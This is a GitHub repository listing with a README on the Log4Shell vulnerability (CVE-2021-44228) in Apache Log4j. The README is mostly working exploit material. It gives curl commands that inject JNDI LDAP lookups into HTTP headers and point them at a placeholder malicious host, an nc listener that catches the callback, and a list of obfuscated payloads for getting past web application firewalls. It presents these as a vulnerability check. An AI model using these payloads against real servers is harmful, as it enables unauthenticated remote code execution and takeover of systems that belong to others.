https://github.com/sud0x00/log4j-CVE-2021-44228
CVE-2021-44228
https://github.com/sud0x00/log4j-CVE-2021-44228
cve cve-2021-44228 security
Last synced: about 2 months ago
JSON representation
CVE-2021-44228
- Host: GitHub
- URL: https://github.com/sud0x00/log4j-CVE-2021-44228
- Owner: sud0x00
- License: gpl-3.0
- Created: 2021-12-12T10:22:45.000Z (over 3 years ago)
- Default Branch: main
- Last Pushed: 2021-12-12T14:08:08.000Z (over 3 years ago)
- Last Synced: 2023-03-08T18:47:54.442Z (about 2 years ago)
- Topics: cve, cve-2021-44228, security
- Homepage:
- Size: 17.6 KB
- Stars: 4
- Watchers: 1
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- License: LICENSE
Awesome Lists containing this project
README
# log4j-CVE-2021-44228
On December 5, 2021, Apache identified a vulnerability (later identified as CVE-2021-44228) in their widely used Log4j logging service. The vulnerability, also known as Log4shell, enables attackers to gain full control of affected servers by allowing unauthenticated remote code execution if the user is running an application utilizing the Java logging library. Log4j is heavily integrated into a broad set of devops frameworks, enterprise IT systems, and vendor software and cloud products.
Execute the following in the malicious remote host to check if your server is vulnerable to Log4j exploit
```curl vulnserver:port -H 'X-Api-Version: ${jndi:ldap://malicioushost:mport/a}'```
```nc -lnvp mport```
Other variations which involve a HTTP-POST request can be used to check for vulnerability
```curl -H 'User-Agent: ${jndi:ldap://malicioushost:mport/a}' vulnserver:port```
To Bypass webapp firewall
```
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}
```